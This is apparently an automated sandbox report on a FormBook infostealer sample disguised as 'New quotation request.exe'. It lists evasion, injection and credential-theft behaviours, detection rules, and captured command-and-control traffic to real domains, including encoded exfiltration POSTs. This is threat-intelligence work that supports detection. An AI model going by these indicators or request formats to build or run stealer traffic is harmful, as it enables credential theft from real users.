Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
New quotation request.exe

Overview

General Information

Sample name:New quotation request.exe
Analysis ID:1569119
MD5:13d18c730c0b457f937da32d1948ce80
SHA1:40a001520b438d5921c01398802cfe634e7bb500
SHA256:714a4091f6e7fcd8f862cf8ee4599669695cc052161935ca729063ac0032e3dd
Tags:exeuser-TeamDreier
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected FormBook
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Found direct / indirect Syscall (likely to bypass EDR)
Initial sample is a PE file and has a suspicious name
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Suspicious RASdial Activity
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • New quotation request.exe (PID: 4312 cmdline: "C:\Users\user\Desktop\New quotation request.exe" MD5: 13D18C730C0B457F937DA32D1948CE80)
    • svchost.exe (PID: 5932 cmdline: "C:\Users\user\Desktop\New quotation request.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • rHureRETbmkd.exe (PID: 4924 cmdline: "C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • rasdial.exe (PID: 5344 cmdline: "C:\Windows\SysWOW64\rasdial.exe" MD5: A280B0F42A83064C41CFFDC1CD35136E)
          • rHureRETbmkd.exe (PID: 1432 cmdline: "C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 3684 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000006.00000002.3524342515.0000000003220000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000006.00000002.3523453487.0000000002B50000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000001.00000002.1996376325.0000000000400000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        00000001.00000002.1996828531.00000000036D0000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          00000006.00000002.3524429234.0000000004A40000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            Click to see the 2 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            1.2.svchost.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
              1.2.svchost.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: Suspicious RASdial Activity
                Source: Process startedAuthor: juju4: Data: Command: "C:\Windows\SysWOW64\rasdial.exe", CommandLine: "C:\Windows\SysWOW64\rasdial.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rasdial.exe, NewProcessName: C:\Windows\SysWOW64\rasdial.exe, OriginalFileName: C:\Windows\SysWOW64\rasdial.exe, ParentCommandLine: "C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe" , ParentImage: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe, ParentProcessId: 4924, ParentProcessName: rHureRETbmkd.exe, ProcessCommandLine: "C:\Windows\SysWOW64\rasdial.exe", ProcessId: 5344, ProcessName: rasdial.exe
                Sigma detected: Uncommon Svchost Parent Process
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\New quotation request.exe", CommandLine: "C:\Users\user\Desktop\New quotation request.exe", CommandLine|base64offset|contains: -j, Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\New quotation request.exe", ParentImage: C:\Users\user\Desktop\New quotation request.exe, ParentProcessId: 4312, ParentProcessName: New quotation request.exe, ProcessCommandLine: "C:\Users\user\Desktop\New quotation request.exe", ProcessId: 5932, ProcessName: svchost.exe
                Sigma detected: Windows Processes Suspicious Parent Directory
                Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\New quotation request.exe", CommandLine: "C:\Users\user\Desktop\New quotation request.exe", CommandLine|base64offset|contains: -j, Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\New quotation request.exe", ParentImage: C:\Users\user\Desktop\New quotation request.exe, ParentProcessId: 4312, ParentProcessName: New quotation request.exe, ProcessCommandLine: "C:\Users\user\Desktop\New quotation request.exe", ProcessId: 5932, ProcessName: svchost.exe

                Suricata Signatures

                ⊘No Suricata rule has matched

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Multi AV Scanner detection for submitted file
                Source: New quotation request.exeReversingLabs: Detection: 60%
                Yara detected FormBook
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000006.00000002.3524342515.0000000003220000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3523453487.0000000002B50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1996376325.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1996828531.00000000036D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3524429234.0000000004A40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3524534266.0000000002430000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1997265297.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Machine Learning detection for sample
                Source: New quotation request.exeJoe Sandbox ML: detected
                Source: New quotation request.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: rHureRETbmkd.exe, 00000005.00000000.1920990804.000000000098E000.00000002.00000001.01000000.00000005.sdmp, rHureRETbmkd.exe, 00000007.00000000.2068309889.000000000098E000.00000002.00000001.01000000.00000005.sdmp
                Source: Binary string: wntdll.pdbUGP source: New quotation request.exe, 00000000.00000003.1674935241.00000000040A0000.00000004.00001000.00020000.00000000.sdmp, New quotation request.exe, 00000000.00000003.1676686944.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903695389.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1996856113.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905328495.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1996856113.000000000399E000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, 00000006.00000002.3524622632.0000000004DA0000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, 00000006.00000002.3524622632.0000000004F3E000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, 00000006.00000003.1996691376.0000000004A48000.00000004.00000020.00020000.00000000.sdmp, rasdial.exe, 00000006.00000003.1998598964.0000000004BFA000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: rasdial.pdb source: svchost.exe, 00000001.00000003.1965115335.0000000003214000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1996595699.0000000003200000.00000004.00000020.00020000.00000000.sdmp, rHureRETbmkd.exe, 00000005.00000002.3523648267.00000000005C8000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: New quotation request.exe, 00000000.00000003.1674935241.00000000040A0000.00000004.00001000.00020000.00000000.sdmp, New quotation request.exe, 00000000.00000003.1676686944.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1903695389.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1996856113.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905328495.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1996856113.000000000399E000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, rasdial.exe, 00000006.00000002.3524622632.0000000004DA0000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, 00000006.00000002.3524622632.0000000004F3E000.00000040.00001000.00020000.00000000.sdmp, rasdial.exe, 00000006.00000003.1996691376.0000000004A48000.00000004.00000020.00020000.00000000.sdmp, rasdial.exe, 00000006.00000003.1998598964.0000000004BFA000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: rasdial.pdbGCTL source: svchost.exe, 00000001.00000003.1965115335.0000000003214000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1996595699.0000000003200000.00000004.00000020.00020000.00000000.sdmp, rHureRETbmkd.exe, 00000005.00000002.3523648267.00000000005C8000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: svchost.pdb source: rasdial.exe, 00000006.00000002.3524996030.00000000053CC000.00000004.10000000.00040000.00000000.sdmp, rasdial.exe, 00000006.00000002.3523647021.0000000003039000.00000004.00000020.00020000.00000000.sdmp, rHureRETbmkd.exe, 00000007.00000000.2068670721.0000000002B5C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2297224231.00000000217DC000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: svchost.pdbUGP source: rasdial.exe, 00000006.00000002.3524996030.00000000053CC000.00000004.10000000.00040000.00000000.sdmp, rasdial.exe, 00000006.00000002.3523647021.0000000003039000.00000004.00000020.00020000.00000000.sdmp, rHureRETbmkd.exe, 00000007.00000000.2068670721.0000000002B5C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2297224231.00000000217DC000.00000004.80000000.00040000.00000000.sdmp
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0031445A GetFileAttributesW,FindFirstFileW,FindClose,0_2_0031445A
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0031C6D1 FindFirstFileW,FindClose,0_2_0031C6D1
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0031C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_0031C75C
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0031EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_0031EF95
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0031F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_0031F0F2
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0031F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_0031F3F3
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_003137EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_003137EF
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_00313B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00313B12
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0031BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_0031BCBC
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 6_2_02B6C8D0 FindFirstFileW,FindNextFileW,FindClose,6_2_02B6C8D0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 4x nop then xor eax, eax6_2_02B59EF0
                Source: C:\Windows\SysWOW64\rasdial.exeCode function: 4x nop then mov ebx, 00000004h6_2_04B304DE

                Networking

                barindex
                Performs DNS queries to domains with low reputation
                Source: DNS query: www.egldfi.xyz
                Source: DNS query: www.trendave.xyz
                Source: Joe Sandbox ViewIP Address: 130.185.109.77 130.185.109.77
                Source: Joe Sandbox ViewIP Address: 203.161.42.73 203.161.42.73
                Source: Joe Sandbox ViewASN Name: VNPT-AS-VNVNPTCorpVN VNPT-AS-VNVNPTCorpVN
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_003222EE InternetReadFile,InternetQueryDataAvailable,InternetReadFile,0_2_003222EE
                Source: global trafficHTTP traffic detected: GET /vl4d/?e018=ylo8idjP&-n=QHNq3VljPHXHL8Z+m/91IyVktX2l1Liqr4baOeL+2A69zWcjzNULNYjIURgj3Svvwd9B+/BgHSW8C8HA7Jym2iV1w40c0QsDnhpOyo2cx9iWMgjuEVKoVLw= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.75178.clubUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                Source: global trafficHTTP traffic detected: GET /5onp/?-n=YQtAzQFhELh+NSSrGqCNnhce8BNGqUHm8iHa4W14s/j18xx0uDy8MYWH0B9/yw3XqDLZco6qWp6tHax8xys+UQeEteLMn8uXkqbvRDHjk1GU4HyortJJJ3Q=&e018=ylo8idjP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.bcg.servicesUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                Source: global trafficHTTP traffic detected: GET /bsyy/?-n=w9Wsyrfddra1GxcX7luKIP81eOoQqUt/pSTnVJEXbHEmdfQx+6bPNdVPoslsCSigyUnMPNoyb3wBtIJwqnPVtzbO2HWO/vlwyzXb4OCTu0u4SZtJF3c1HS4=&e018=ylo8idjP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.43kdd.topUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                Source: global trafficHTTP traffic detected: GET /cv1w/?-n=KIRaABhBgujzn3KVjNCYdeU2jI4CiDZHf/kT3kOA8kciiH38vV9KVMyDNvMwVI643JmGXckFkIiptpvhjjDesRP/SoiJcG7UzeyTKHH5ghDsthQpYxENiFA=&e018=ylo8idjP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.lgdiamonds.infoUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                Source: global trafficHTTP traffic detected: GET /lvda/?-n=ELDSXX2RsHX+gMhA2PfNyBEKowNIoqU7uMJ0P3epR9C3wBGcH3Oc/iCy84j3rr0M4JJUpyIPXVKNA8OpCuWYmMQdGJQpdXCyyNvs5R5nS90nKpkFpzjMZ1A=&e018=ylo8idjP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.jalan2.onlineUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                Source: global trafficHTTP traffic detected: GET /nhcb/?-n=Jt/EBXmNn0Xont3Uq3SrNJmrJY3M4cpFu0H2rr3BW2spn453uaHrewE12DuyPcurf4Mzbuz0WqMTaNbmObgJIgyyiHGSgJZQh0vowHWBwbWi8nXeO4OBSJo=&e018=ylo8idjP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.trendave.xyzUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                Source: global trafficHTTP traffic detected: GET /1mwk/?e018=ylo8idjP&-n=aP/gzvnIJweJBGAM8k6pu85FwARGRrJi7lENLyBMprrjHPxpI72KmSEUutQfwM36acX1gmYQGU/DOh8WpWJogojdJuslZQVWDuA2Yws6YeX4RtAi+znuQho= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.nb-shenshi.buzzUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                Source: global trafficHTTP traffic detected: GET /3g99/?-n=RytNeZ1XRv60mT66OsZ14/Z53Dl0UWWckwx6IFoxcwMb7EGpIrhq/2Ikbe8axKxY7FzhI3ANlUXRki/bAaSaeyuYJYNKRROQR84NXiU2Qicm7Q5G8aT8zzM=&e018=ylo8idjP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.rysanekbeton.cloudUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                Source: global trafficDNS traffic detected: DNS query: www.75178.club
                Source: global trafficDNS traffic detected: DNS query: www.bcg.services
                Source: global trafficDNS traffic detected: DNS query: www.egldfi.xyz
                Source: global trafficDNS traffic detected: DNS query: www.betmatchx.online
                Source: global trafficDNS traffic detected: DNS query: www.43kdd.top
                Source: global trafficDNS traffic detected: DNS query: www.lgdiamonds.info
                Source: global trafficDNS traffic detected: DNS query: www.jalan2.online
                Source: global trafficDNS traffic detected: DNS query: www.trendave.xyz
                Source: global trafficDNS traffic detected: DNS query: www.nb-shenshi.buzz
                Source: global trafficDNS traffic detected: DNS query: www.rysanekbeton.cloud
                Source: global trafficDNS traffic detected: DNS query: www.rafconstrutora.online
                Source: unknownHTTP traffic detected: POST /5onp/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cache-Control: no-cacheContent-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 199Host: www.bcg.servicesOrigin: http://www.bcg.servicesReferer: http://www.bcg.services/5onp/User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30Data Raw: 2d 6e 3d 56 53 46 67 77 6d 74 6e 46 6f 38 59 62 6a 65 49 4f 4d 75 31 77 6e 63 4a 34 52 35 49 2f 78 58 72 6d 79 44 44 38 54 41 2b 6a 65 57 76 38 68 56 50 68 33 76 48 45 64 2b 58 76 51 74 43 38 44 50 4c 6a 47 72 53 51 62 4c 33 54 4f 57 58 4a 34 39 6f 78 52 6b 54 64 53 48 2f 71 76 62 4f 68 73 7a 47 69 37 44 2f 62 42 54 68 79 6b 79 52 6c 6c 6d 62 37 76 78 61 44 55 72 70 74 68 65 4f 57 66 36 4d 52 58 39 7a 74 51 70 50 6f 41 69 36 53 7a 57 48 61 67 62 41 7a 6d 57 6f 6b 6c 6d 53 38 77 79 33 31 64 4e 30 4c 42 52 45 59 37 48 2f 47 62 71 6f 49 77 6a 72 6c 2f 71 47 4a 73 70 38 7a 56 71 2f 52 67 3d 3d Data Ascii: -n=VSFgwmtnFo8YbjeIOMu1wncJ4R5I/xXrmyDD8TA+jeWv8hVPh3vHEd+XvQtC8DPLjGrSQbL3TOWXJ49oxRkTdSH/qvbOhszGi7D/bBThykyRllmb7vxaDUrptheOWf6MRX9ztQpPoAi6SzWHagbAzmWoklmS8wy31dN0LBREY7H/GbqoIwjrl/qGJsp8zVq/Rg==
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 13:08:11 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66df9b06-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 13:08:14 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66df9b06-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 13:08:17 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66df9b06-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 13:08:19 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66df9b06-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
